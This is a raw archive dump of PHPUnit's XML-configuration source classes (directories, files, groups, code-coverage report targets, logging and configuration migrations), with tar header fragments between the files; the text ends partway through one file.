public function __construct(DirectoryCollection $directories) { $this->directories = $directories->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->directories); } public function key(): int { return $this->position; } public function current(): Directory { return $this->directories[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php000064400000002321147577714370030016 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Directory { /** * @var string */ private $path; /** * @var string */ private $prefix; /** * @var string */ private $suffix; /** * @var string */ private $group; public function __construct(string $path, string $prefix, string $suffix, string $group) { $this->path = $path; $this->prefix = $prefix; $this->suffix = $suffix; $this->group = $group; } public function path(): string { return $this->path; } public function prefix(): string { return $this->prefix; } public function suffix(): string { return $this->suffix; } public function group(): string { return $this->group; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php000064400000002367147577714370031765 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class DirectoryCollection implements Countable, IteratorAggregate { /** * @var Directory[] */ private $directories; /** * @param Directory[] $directories */ public static function fromArray(array $directories): self { return new self(...$directories); } private function __construct(Directory ...$directories) { $this->directories = $directories; } /** * @return Directory[] */ public function asArray(): array { return $this->directories; } public function count(): int { return count($this->directories); } public function getIterator(): DirectoryCollectionIterator { return new DirectoryCollectionIterator($this); } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php000064400000001327147577714370030033 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Cobertura { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php000064400000002307147577714370027030 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Text { /** * @var File */ private $target; /** * @var bool */ private $showUncoveredFiles; /** * @var bool */ private $showOnlySummary; public function __construct(File $target, bool $showUncoveredFiles, bool $showOnlySummary) { $this->target = $target; $this->showUncoveredFiles = $showUncoveredFiles; $this->showOnlySummary = $showOnlySummary; } public function target(): File { return $this->target; } public function showUncoveredFiles(): bool { return $this->showUncoveredFiles; } public function showOnlySummary(): bool { return $this->showOnlySummary; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php000064400000001345147577714370026645 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\XmlConfiguration\Directory; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Xml { /** * @var Directory */ private $target; public function __construct(Directory $target) { $this->target = $target; } public function target(): Directory { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php000064400000001321147577714370026626 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Php { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php000064400000001324147577714370027334 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Clover { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php000064400000001632147577714370027227 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Crap4j { /** * @var File */ private $target; /** * @var int */ private $threshold; public function __construct(File $target, int $threshold) { $this->target = $target; $this->threshold = $threshold; } public function target(): File { return $this->target; } public function threshold(): int { return $this->threshold; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php000064400000002253147577714370027010 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\XmlConfiguration\Directory; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Html { /** * @var Directory */ private $target; /** * @var int */ private $lowUpperBound; /** * @var int */ private $highLowerBound; public function __construct(Directory $target, int $lowUpperBound, int $highLowerBound) { $this->target = $target; $this->lowUpperBound = $lowUpperBound; $this->highLowerBound = $highLowerBound; } public function target(): Directory { return $this->target; } public function lowUpperBound(): int { return $this->lowUpperBound; } public function highLowerBound(): int { return $this->highLowerBound; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php000064400000002406147577714370027223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage; use SebastianBergmann\CodeCoverage\Filter; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class FilterMapper { public function map(Filter $filter, CodeCoverage $configuration): void { foreach ($configuration->directories() as $directory) { $filter->includeDirectory( $directory->path(), $directory->suffix(), $directory->prefix() ); } foreach ($configuration->files() as $file) { $filter->includeFile($file->path()); } foreach ($configuration->excludeDirectories() as $directory) { $filter->excludeDirectory( $directory->path(), $directory->suffix(), $directory->prefix() ); } foreach ($configuration->excludeFiles() as $file) { $filter->excludeFile($file->path()); } } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php000064400000020166147577714370027162 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage; use function count; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter\DirectoryCollection; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Clover; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Cobertura; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Crap4j; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Html; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Php; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Text; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Xml; use PHPUnit\TextUI\XmlConfiguration\Directory; use PHPUnit\TextUI\XmlConfiguration\Exception; use PHPUnit\TextUI\XmlConfiguration\FileCollection; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class CodeCoverage { /** * @var ?Directory */ private $cacheDirectory; /** * @var DirectoryCollection */ private $directories; /** * @var FileCollection */ private $files; /** * @var DirectoryCollection */ private $excludeDirectories; /** * @var FileCollection */ private $excludeFiles; /** * @var bool */ private $pathCoverage; /** * @var bool */ private $includeUncoveredFiles; /** * @var bool */ private $processUncoveredFiles; /** * @var bool */ private $ignoreDeprecatedCodeUnits; /** * @var bool */ private $disableCodeCoverageIgnore; /** * @var ?Clover */ private $clover; /** * @var ?Cobertura */ private $cobertura; /** * @var ?Crap4j */ private $crap4j; /** * @var ?Html */ private $html; /** * @var ?Php */ private $php; /** * @var ?Text */ private $text; /** * @var ?Xml */ private $xml; public function __construct(?Directory $cacheDirectory, DirectoryCollection $directories, FileCollection $files, DirectoryCollection $excludeDirectories, FileCollection $excludeFiles, bool $pathCoverage, bool $includeUncoveredFiles, bool $processUncoveredFiles, bool $ignoreDeprecatedCodeUnits, bool $disableCodeCoverageIgnore, ?Clover $clover, ?Cobertura $cobertura, ?Crap4j $crap4j, ?Html $html, ?Php $php, ?Text $text, ?Xml $xml) { $this->cacheDirectory = $cacheDirectory; $this->directories = $directories; $this->files = $files; $this->excludeDirectories = $excludeDirectories; $this->excludeFiles = $excludeFiles; $this->pathCoverage = $pathCoverage; $this->includeUncoveredFiles = $includeUncoveredFiles; $this->processUncoveredFiles = $processUncoveredFiles; $this->ignoreDeprecatedCodeUnits = $ignoreDeprecatedCodeUnits; $this->disableCodeCoverageIgnore = $disableCodeCoverageIgnore; $this->clover = $clover; $this->cobertura = $cobertura; $this->crap4j = $crap4j; $this->html = $html; $this->php = $php; $this->text = $text; $this->xml = $xml; } /** * @psalm-assert-if-true !null $this->cacheDirectory */ public function hasCacheDirectory(): bool { return $this->cacheDirectory !== null; } /** * @throws Exception */ public function cacheDirectory(): Directory { if (!$this->hasCacheDirectory()) { throw new Exception( 'No cache directory has been configured' ); } return $this->cacheDirectory; } public function hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport(): bool { return count($this->directories) > 0 || count($this->files) > 0; } public function directories(): DirectoryCollection { return $this->directories; } public function files(): FileCollection { return $this->files; } public function excludeDirectories(): DirectoryCollection { return $this->excludeDirectories; } public function excludeFiles(): FileCollection { return $this->excludeFiles; } public function pathCoverage(): bool { return $this->pathCoverage; } public function includeUncoveredFiles(): bool { return $this->includeUncoveredFiles; } public function ignoreDeprecatedCodeUnits(): bool { return $this->ignoreDeprecatedCodeUnits; } public function disableCodeCoverageIgnore(): bool { return $this->disableCodeCoverageIgnore; } public function processUncoveredFiles(): bool { return $this->processUncoveredFiles; } /** * @psalm-assert-if-true !null $this->clover */ public function hasClover(): bool { return $this->clover !== null; } /** * @throws Exception */ public function clover(): Clover { if (!$this->hasClover()) { throw new Exception( 'Code Coverage report "Clover XML" has not been configured' ); } return $this->clover; } /** * @psalm-assert-if-true !null $this->cobertura */ public function hasCobertura(): bool { return $this->cobertura !== null; } /** * @throws Exception */ public function cobertura(): Cobertura { if (!$this->hasCobertura()) { throw new Exception( 'Code Coverage report "Cobertura XML" has not been configured' ); } return $this->cobertura; } /** * @psalm-assert-if-true !null $this->crap4j */ public function hasCrap4j(): bool { return $this->crap4j !== null; } /** * @throws Exception */ public function crap4j(): Crap4j { if (!$this->hasCrap4j()) { throw new Exception( 'Code Coverage report "Crap4J" has not been configured' ); } return $this->crap4j; } /** * @psalm-assert-if-true !null $this->html */ public function hasHtml(): bool { return $this->html !== null; } /** * @throws Exception */ public function html(): Html { if (!$this->hasHtml()) { throw new Exception( 'Code Coverage report "HTML" has not been configured' ); } return $this->html; } /** * @psalm-assert-if-true !null $this->php */ public function hasPhp(): bool { return $this->php !== null; } /** * @throws Exception */ public function php(): Php { if (!$this->hasPhp()) { throw new Exception( 'Code Coverage report "PHP" has not been configured' ); } return $this->php; } /** * @psalm-assert-if-true !null $this->text */ public function hasText(): bool { return $this->text !== null; } /** * @throws Exception */ public function text(): Text { if (!$this->hasText()) { throw new Exception( 'Code Coverage report "Text" has not been configured' ); } return $this->text; } /** * @psalm-assert-if-true !null $this->xml */ public function hasXml(): bool { return $this->xml !== null; } /** * @throws Exception */ public function xml(): Xml { if (!$this->hasXml()) { throw new Exception( 'Code Coverage report "XML" has not been configured' ); } return $this->xml; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php000064400000001215147577714370025303 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class File { /** * @var string */ private $path; public function __construct(string $path) { $this->path = $path; } public function path(): string { return $this->path; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php000064400000002456147577714370032047 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DirectoryCollectionIterator implements Countable, Iterator { /** * @var Directory[] */ private $directories; /** * @var int */ private $position; public function __construct(DirectoryCollection $directories) { $this->directories = $directories->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->directories); } public function key(): int { return $this->position; } public function current(): Directory { return $this->directories[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php000064400000001222147577714370026366 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Directory { /** * @var string */ private $path; public function __construct(string $path) { $this->path = $path; } public function path(): string { return $this->path; } } readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php000064400000002366147577714370030762 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class FileCollectionIterator implements Countable, Iterator { /** * @var File[] */ private $files; /** * @var int */ private $position; public function __construct(FileCollection $files) { $this->files = $files->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->files); } public function key(): int { return $this->position; } public function current(): File { return $this->files[$this->position]; } public function next(): void { $this->position++; } } readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php000064400000002471147577714370030332 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class DirectoryCollection implements Countable, IteratorAggregate { /** * @var Directory[] */ private $directories; /** * @param Directory[] $directories */ public static function fromArray(array $directories): self { return new self(...$directories); } private function __construct(Directory ...$directories) { $this->directories = $directories; } /** * @return Directory[] */ public function asArray(): array { return $this->directories; } public function count(): int { return count($this->directories); } public function getIterator(): DirectoryCollectionIterator { return new DirectoryCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php000064400000002340147577714370027317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class FileCollection implements Countable, IteratorAggregate { /** * @var File[] */ private $files; /** * @param File[] $files */ public static function fromArray(array $files): self { return new self(...$files); } private function __construct(File ...$files) { $this->files = $files; } /** * @return File[] */ public function asArray(): array { return $this->files; } public function count(): int { return count($this->files); } public function getIterator(): FileCollectionIterator { return new FileCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php000064400000002125147577714370024654 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Groups { /** * @var GroupCollection */ private $include; /** * @var GroupCollection */ private $exclude; public function __construct(GroupCollection $include, GroupCollection $exclude) { $this->include = $include; $this->exclude = $exclude; } public function hasInclude(): bool { return !$this->include->isEmpty(); } public function include(): GroupCollection { return $this->include; } public function hasExclude(): bool { return !$this->exclude->isEmpty(); } public function exclude(): GroupCollection { return $this->exclude; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php000064400000002540147577714370026506 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class GroupCollection implements IteratorAggregate { /** * @var Group[] */ private $groups; /** * @param Group[] $groups */ public static function fromArray(array $groups): self { return new self(...$groups); } private function __construct(Group ...$groups) { $this->groups = $groups; } /** * @return Group[] */ public function asArray(): array { return $this->groups; } /** * @return string[] */ public function asArrayOfStrings(): array { $result = []; foreach ($this->groups as $group) { $result[] = $group->name(); } return $result; } public function isEmpty(): bool { return empty($this->groups); } public function getIterator(): GroupCollectionIterator { return new GroupCollectionIterator($this); } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php000064400000002400147577714370030213 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class GroupCollectionIterator implements Countable, Iterator { /** * @var Group[] */ private $groups; /** * @var int */ private $position; public function __construct(GroupCollection $groups) { $this->groups = $groups->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->groups); } public function key(): int { return $this->position; } public function current(): Group { return $this->groups[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php000064400000001216147577714370024471 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Group { /** * @var string */ private $name; public function __construct(string $name) { $this->name = $name; } public function name(): string { return $this->name; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php000064400000001316147577714370026206 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Text { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php000064400000001315147577714370026021 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Xml { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php000064400000001316147577714370026166 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Html { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php000064400000001306147577714370024613 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Text { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php000064400000001307147577714370024761 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Junit { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php000064400000001312147577714370025403 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging; use PHPUnit\TextUI\XmlConfiguration\File; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class TeamCity { /** * @var File */ private $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php000064400000006403147577714370025260 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging; use PHPUnit\TextUI\XmlConfiguration\Exception; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Html as TestDoxHtml; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Text as TestDoxText; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Xml as TestDoxXml; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Logging { /** * @var ?Junit */ private $junit; /** * @var ?Text */ private $text; /** * @var ?TeamCity */ private $teamCity; /** * @var ?TestDoxHtml */ private $testDoxHtml; /** * @var ?TestDoxText */ private $testDoxText; /** * @var ?TestDoxXml */ private $testDoxXml; public function __construct(?Junit $junit, ?Text $text, ?TeamCity $teamCity, ?TestDoxHtml $testDoxHtml, ?TestDoxText $testDoxText, ?TestDoxXml $testDoxXml) { $this->junit = $junit; $this->text = $text; $this->teamCity = $teamCity; $this->testDoxHtml = $testDoxHtml; $this->testDoxText = $testDoxText; $this->testDoxXml = $testDoxXml; } public function hasJunit(): bool { return $this->junit !== null; } public function junit(): Junit { if ($this->junit === null) { throw new Exception('Logger "JUnit XML" is not configured'); } return $this->junit; } public function hasText(): bool { return $this->text !== null; } public function text(): Text { if ($this->text === null) { throw new Exception('Logger "Text" is not configured'); } return $this->text; } public function hasTeamCity(): bool { return $this->teamCity !== null; } public function teamCity(): TeamCity { if ($this->teamCity === null) { throw new Exception('Logger "Team City" is not configured'); } return $this->teamCity; } public function hasTestDoxHtml(): bool { return $this->testDoxHtml !== null; } public function testDoxHtml(): TestDoxHtml { if ($this->testDoxHtml === null) { throw new Exception('Logger "TestDox HTML" is not configured'); } return $this->testDoxHtml; } public function hasTestDoxText(): bool { return $this->testDoxText !== null; } public function testDoxText(): TestDoxText { if ($this->testDoxText === null) { throw new Exception('Logger "TestDox Text" is not configured'); } return $this->testDoxText; } public function hasTestDoxXml(): bool { return $this->testDoxXml !== null; } public function testDoxXml(): TestDoxXml { if ($this->testDoxXml === null) { throw new Exception('Logger "TestDox XML" is not configured'); } return $this->testDoxXml; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php000064400000001451147577714370032203 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageXmlToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-xml'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $xml = $logNode->ownerDocument->createElement('xml'); $xml->setAttribute('outputDirectory', $logNode->getAttribute('target')); return $xml; } } readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php000064400000000756147577714370030230 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Migration { public function migrate(DOMDocument $document): void; } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php000064400000001374147577714370033007 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UpdateSchemaLocationTo93 implements Migration { public function migrate(DOMDocument $document): void { $document->documentElement->setAttributeNS( 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:noNamespaceSchemaLocation', 'https://schema.phpunit.de/9.3/phpunit.xsd' ); } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php000064400000002005147577714370031210 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; use PHPUnit\Util\Xml\SnapshotNodeList; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveLogTypes implements Migration { public function migrate(DOMDocument $document): void { $logging = $document->getElementsByTagName('logging')->item(0); if (!$logging instanceof DOMElement) { return; } foreach (SnapshotNodeList::fromNodeList($logging->getElementsByTagName('log')) as $logNode) { switch ($logNode->getAttribute('type')) { case 'json': case 'tap': $logging->removeChild($logNode); } } } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php000064400000003032147577714370031707 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function sprintf; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveEmptyFilter implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if ($whitelist instanceof DOMElement) { $this->ensureEmpty($whitelist); $whitelist->parentNode->removeChild($whitelist); } $filter = $document->getElementsByTagName('filter')->item(0); if ($filter instanceof DOMElement) { $this->ensureEmpty($filter); $filter->parentNode->removeChild($filter); } } /** * @throws MigrationException */ private function ensureEmpty(DOMElement $element): void { if ($element->attributes->length > 0) { throw new MigrationException(sprintf('%s element has unexpected attributes', $element->nodeName)); } if ($element->getElementsByTagName('*')->length > 0) { throw new MigrationException(sprintf('%s element has unexpected children', $element->nodeName)); } } } phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php000064400000002467147577714370034724 0ustar00res/readability/vendor/phpunit * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveAttributesFromRootToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $map = [ 'disableCodeCoverageIgnore' => 'disableCodeCoverageIgnore', 'ignoreDeprecatedCodeUnitsFromCodeCoverage' => 'ignoreDeprecatedCodeUnits', ]; $root = $document->documentElement; $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } foreach ($map as $old => $new) { if (!$root->hasAttribute($old)) { continue; } $coverage->setAttribute($new, $root->getAttribute($old)); $root->removeAttribute($old); } } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php000064400000002764147577714370031407 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConvertLogTypes implements Migration { public function migrate(DOMDocument $document): void { $logging = $document->getElementsByTagName('logging')->item(0); if (!$logging instanceof DOMElement) { return; } $types = [ 'junit' => 'junit', 'teamcity' => 'teamcity', 'testdox-html' => 'testdoxHtml', 'testdox-text' => 'testdoxText', 'testdox-xml' => 'testdoxXml', 'plain' => 'text', ]; $logNodes = []; foreach ($logging->getElementsByTagName('log') as $logNode) { if (!isset($types[$logNode->getAttribute('type')])) { continue; } $logNodes[] = $logNode; } foreach ($logNodes as $oldNode) { $newLogNode = $document->createElement($types[$oldNode->getAttribute('type')]); $newLogNode->setAttribute('outputFile', $oldNode->getAttribute('target')); $logging->replaceChild($newLogNode, $oldNode); } } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php000064400000001466147577714370032703 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace 